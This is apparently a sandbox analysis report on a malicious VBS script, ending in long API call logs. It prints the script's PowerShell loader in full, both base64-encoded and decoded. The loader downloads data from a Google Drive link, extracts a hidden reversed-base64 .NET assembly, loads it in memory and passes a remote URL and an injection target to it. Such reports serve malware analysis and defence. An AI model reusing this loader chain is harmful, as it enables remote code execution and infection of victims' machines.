popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

fridayfiledatingmanagerfMPDW-constraints.vbs

Generic Malware Antivirus PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Oct. 21, 2024, 2:27 p.m. Oct. 21, 2024, 2:38 p.m.
Size 192.8KB
Type Little-endian UTF-16 Unicode text, with very long lines, with CRLF line terminators
MD5 1e74a1e9b214a5e7de05d71bc03849e8
SHA256 01eed58d2c0ff62733000b76b6ab80124480f5af9195a33c3157c60df2f3cd80
CRC32 20B42406
ssdeep 3072:/oT0auQ54UUrKgOZn5FoRdta2T5gt5p6GwW+YsyG/HCLpxzsINyh/nxeo7HHmX9u:AJyrKgmFeanzjNUJ7HHU9NGr
Yara None matched

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\fridayfiledatingmanagerfMPDW-constraints.vbs

    1720

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWVYICgoJ21CUScrJ2ltYWdlVXJsID0gQnJ0aHR0cHM6JysnLy9kcml2ZS5nb29nbGUuY28nKydtL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xN2tRSVRGSloxdHFkcVRWeWM4SnlLQ1JzQWIwODNGNEcgQnJ0O21CUXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzJysndGVtLk5ldC5XZScrJ2JDbGllbnQ7bUJRaW1hZ2VCeXRlcyA9IG1CUXdlYkNsaWVudC5Eb3dubG9hZERhdGEobUJRaW1hZ2UnKydVcmwpO21CUWltYWdlVGV4dCA9IFtTeXN0ZScrJ20uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKG1CUWltYWdlQnl0ZXMpO21CUXN0YXJ0RmxhZyA9IEJydDw8QkFTRTY0X1NUQVJUPj5CcnQ7bUJRZW5kRmxhZyA9IEJydDw8QkFTRTY0X0VORD4+QnJ0O21CUXN0YXJ0SW5kZXggPSBtQlFpbWFnZVRleHQuSW5kZXhPZihtQlFzdGFydEZsYWcpO21CUWVuZEluZGV4ID0gbUJRaW1hZ2VUZXh0LkluZGV4T2YobUJRZW5kRmxhZyk7bUJRc3RhJysncnRJbmRleCAtZ2UgMCAtYW5kIG1CUWVuZEluZGV4JysnIC1ndCBtQlFzdGFydEluZGV4O21CUXN0YXJ0SW5kZXgnKycgKz0gbUJRc3RhcnRGbGFnLkxlbmd0aDttQlFiYXNlNjRMZW5ndGggPSBtQlFlbmRJbmRleCAtIG1CUXN0YXJ0SW5kZXg7bUJRYmFzZScrJzY0Q29tbWFuZCA9IG1CUWltYWdlVGV4dC5TdWJzdHJpbmcobUJRc3RhcnRJbmRleCwgbUJRYmFzZTY0TGVuZ3RoKTttQlFiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChtQlFiJysnYXNlNjRDb21tYW5kLlRvQ2hhckFyJysncmF5KCkgc0l6IEZvckVhJysnY2gtT2JqJysnZWN0IHsgbUJRXyB9KVstMS4uLShtQicrJ1FiYXNlNicrJzRDJysnb21tYW5kLkxlbmd0aCldO21CUWNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcobUJRYmFzZTY0UmUnKyd2ZXJzZWQpO21CUWxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzJysnc2VtYmx5XTo6TG9hZChtQlFjb21tYW5kQnl0ZXMpO21CUXZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoQnJ0VkFJQnJ0KTttQlF2YWlNZXRob2QuSW52b2tlKG1CUW51bGwsIEAoQnJ0dHh0LmJiYmJiYmJiYmJiZXdtYWRhbS9ncm8uc25ka2N1ZC5yZWdhbmFtbGEnKydjb2x5YWRpcmYvLycrJzpwdHRoQnJ0LCBCcnRkZXNhdGl2YWRvQnJ0LCBCcnRkZXNhdGl2YWRvQnJ0LCBCcnRkZXNhdGl2YWRvQnJ0LCBCcnRBZGRJJysnblByb2Nlc3MzMkJydCwgQnJ0ZGVzYXRpdmFkb0JydCwgQnJ0ZGVzYXRpdmFkb0JydCknKycpOycpLlJFUExhY2UoJ21CUScsW1NUUmluR11bY0hBcl0zNikuUkVQTGFjZSgoW2NIQXJdNjYrW2NIQXJdMTE0K1tjSEFyXTExNiksW1NUUmluR11bY0hBcl0zOSkuUkVQTGFjZSgoW2NIQXJdMTE1K1tjSEFyXTczK1tjSEFyXTEyMiksJ3wnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

      2088

      • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "IeX (('mBQ'+'imageUrl = Brthttps:'+'//drive.google.co'+'m/uc?export=download&id=17kQITFJZ1tqdqTVyc8JyKCRsAb083F4G Brt;mBQwebClient = New-Object Sys'+'tem.Net.We'+'bClient;mBQimageBytes = mBQwebClient.DownloadData(mBQimage'+'Url);mBQimageText = [Syste'+'m.Text.Encoding]::UTF8.GetString(mBQimageBytes);mBQstartFlag = Brt<<BASE64_START>>Brt;mBQendFlag = Brt<<BASE64_END>>Brt;mBQstartIndex = mBQimageText.IndexOf(mBQstartFlag);mBQendIndex = mBQimageText.IndexOf(mBQendFlag);mBQsta'+'rtIndex -ge 0 -and mBQendIndex'+' -gt mBQstartIndex;mBQstartIndex'+' += mBQstartFlag.Length;mBQbase64Length = mBQendIndex - mBQstartIndex;mBQbase'+'64Command = mBQimageText.Substring(mBQstartIndex, mBQbase64Length);mBQbase64Reversed = -join (mBQb'+'ase64Command.ToCharAr'+'ray() sIz ForEa'+'ch-Obj'+'ect { mBQ_ })[-1..-(mB'+'Qbase6'+'4C'+'ommand.Length)];mBQcommandBytes = [System.Convert]::FromBase64String(mBQbase64Re'+'versed);mBQloadedAssembly = [System.Reflection.As'+'sembly]::Load(mBQcommandBytes);mBQvaiMethod = [dnlib.IO.Home].GetMethod(BrtVAIBrt);mBQvaiMethod.Invoke(mBQnull, @(Brttxt.bbbbbbbbbbbewmadam/gro.sndkcud.reganamla'+'colyadirf//'+':ptthBrt, BrtdesativadoBrt, BrtdesativadoBrt, BrtdesativadoBrt, BrtAddI'+'nProcess32Brt, BrtdesativadoBrt, BrtdesativadoBrt)'+');').REPLace('mBQ',[STRinG][cHAr]36).REPLace(([cHAr]66+[cHAr]114+[cHAr]116),[STRinG][cHAr]39).REPLace(([cHAr]115+[cHAr]73+[cHAr]122),'|'))"

        2200

Name Response Post-Analysis Lookup
drive.google.com 142.250.76.142
IP Address Status Action
164.124.101.2 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: Exception calling "DownloadData" with "1" argument(s): "The remote name could n
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: ot be resolved: 'drive.google.com'"
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: At line:1 char:179
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://drive.google.com/uc?export=download&id=17kQITFJZ1tqdqTVy
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: c8JyKCRsAb083F4G ';$webClient = New-Object System.Net.WebClient;$imageBytes = $
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: webClient.DownloadData <<<< ($imageUrl);$imageText = [System.Text.Encoding]::UT
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: F8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.Inde
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: xOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imag
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: eText.Substring($startIndex, $base64Length);$base64Reversed = -join ($base64Com
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: mand.ToCharArray() | ForEach-Object { $_ })[-1..-($base64Command.Length)];$comm
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: andBytes = [System.Convert]::FromBase64String($base64Reversed);$loadedAssembly
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: = [System.Reflection.Assembly]::Load($commandBytes);$vaiMethod = [dnlib.IO.Home
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: ].GetMethod('VAI');$vaiMethod.Invoke($null, @('txt.bbbbbbbbbbbewmadam/gro.sndkc
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: ud.reganamlacolyadirf//:ptth', 'desativado', 'desativado', 'desativado', 'AddIn
console_handle: 0x000000d7
1 1 0

WriteConsoleW

 buffer: Process32', 'desativado', 'desativado'));
console_handle: 0x000000e3
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000000ef
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x000000fb
1 1 0

WriteConsoleW

 buffer: Exception calling "GetString" with "1" argument(s): "Array cannot be null.
console_handle: 0x0000011b
1 1 0

WriteConsoleW

 buffer: Parameter name: bytes"
console_handle: 0x00000127
1 1 0

WriteConsoleW

 buffer: At line:1 char:242
console_handle: 0x00000133
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://drive.google.com/uc?export=download&id=17kQITFJZ1tqdqTVy
console_handle: 0x0000013f
1 1 0

WriteConsoleW

 buffer: c8JyKCRsAb083F4G ';$webClient = New-Object System.Net.WebClient;$imageBytes = $
console_handle: 0x0000014b
1 1 0

WriteConsoleW

 buffer: webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.Get
console_handle: 0x00000157
1 1 0

WriteConsoleW

 buffer: String <<<< ($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_
console_handle: 0x00000163
1 1 0

WriteConsoleW

 buffer: END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.Inde
console_handle: 0x0000016f
1 1 0

WriteConsoleW

 buffer: xOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $
console_handle: 0x0000017b
1 1 0

WriteConsoleW

 buffer: startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imag
console_handle: 0x00000187
1 1 0

WriteConsoleW

 buffer: eText.Substring($startIndex, $base64Length);$base64Reversed = -join ($base64Com
console_handle: 0x00000193
1 1 0

WriteConsoleW

 buffer: mand.ToCharArray() | ForEach-Object { $_ })[-1..-($base64Command.Length)];$comm
console_handle: 0x0000019f
1 1 0

WriteConsoleW

 buffer: andBytes = [System.Convert]::FromBase64String($base64Reversed);$loadedAssembly
console_handle: 0x000001ab
1 1 0

WriteConsoleW

 buffer: = [System.Reflection.Assembly]::Load($commandBytes);$vaiMethod = [dnlib.IO.Home
console_handle: 0x000001b7
1 1 0

WriteConsoleW

 buffer: ].GetMethod('VAI');$vaiMethod.Invoke($null, @('txt.bbbbbbbbbbbewmadam/gro.sndkc
console_handle: 0x000001c3
1 1 0

WriteConsoleW

 buffer: ud.reganamlacolyadirf//:ptth', 'desativado', 'desativado', 'desativado', 'AddIn
console_handle: 0x000001cf
1 1 0

WriteConsoleW

 buffer: Process32', 'desativado', 'desativado'));
console_handle: 0x000001db
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000001e7
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x000001f3
1 1 0

WriteConsoleW

 buffer: You cannot call a method on a null-valued expression.
console_handle: 0x00000213
1 1 0

WriteConsoleW

 buffer: At line:1 char:348
console_handle: 0x0000021f
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://drive.google.com/uc?export=download&id=17kQITFJZ1tqdqTVy
console_handle: 0x0000022b
1 1 0

WriteConsoleW

 buffer: c8JyKCRsAb083F4G ';$webClient = New-Object System.Net.WebClient;$imageBytes = $
console_handle: 0x00000237
1 1 0

WriteConsoleW

 buffer: webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.Get
console_handle: 0x00000243
1 1 0

WriteConsoleW

 buffer: String($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>'
console_handle: 0x0000024f
1 1 0

WriteConsoleW

 buffer: ;$startIndex = $imageText.IndexOf <<<< ($startFlag);$endIndex = $imageText.Inde
console_handle: 0x0000025b
1 1 0

WriteConsoleW

 buffer: xOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $
console_handle: 0x00000267
1 1 0

WriteConsoleW

 buffer: startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imag
console_handle: 0x00000273
1 1 0

WriteConsoleW

 buffer: eText.Substring($startIndex, $base64Length);$base64Reversed = -join ($base64Com
console_handle: 0x0000027f
1 1 0

WriteConsoleW

 buffer: mand.ToCharArray() | ForEach-Object { $_ })[-1..-($base64Command.Length)];$comm
console_handle: 0x0000028b
1 1 0

WriteConsoleW

 buffer: andBytes = [System.Convert]::FromBase64String($base64Reversed);$loadedAssembly
console_handle: 0x00000297
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0040bc38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0040b238
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0040b238
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0040b238
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0040aef8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0040aef8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0040aef8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0040aef8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0040aef8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0040aef8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0040b238
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0040b238
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0040b238
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0040b9f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0040b9f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0040b9f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0040b378
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0040b9f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0040b9f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0040b9f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0040b9f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0040b9f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0040b9f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0040b9f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0040bbf8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0040bbf8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0040bbf8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0040bbf8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0040bbf8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0040bbf8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0040bbf8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0040bbf8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0040bbf8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0040bbf8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0040bbf8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0040bbf8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0040bbf8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0040bbf8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0040b678
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0040b678
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00583d28
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00584428
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00584428
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00584428
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00583ae8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00583ae8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00583ae8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00583ae8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00583ae8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00583ae8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 917504
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02700000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027a0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2088
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72fd1000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0249a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2088
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72fd2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02492000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024a2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027a1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027a2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0250a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024a3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024a4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0251b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02517000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0249b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02502000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02515000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024a5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0250c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04990000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024a6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0251c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02503000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02504000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02505000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2088
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
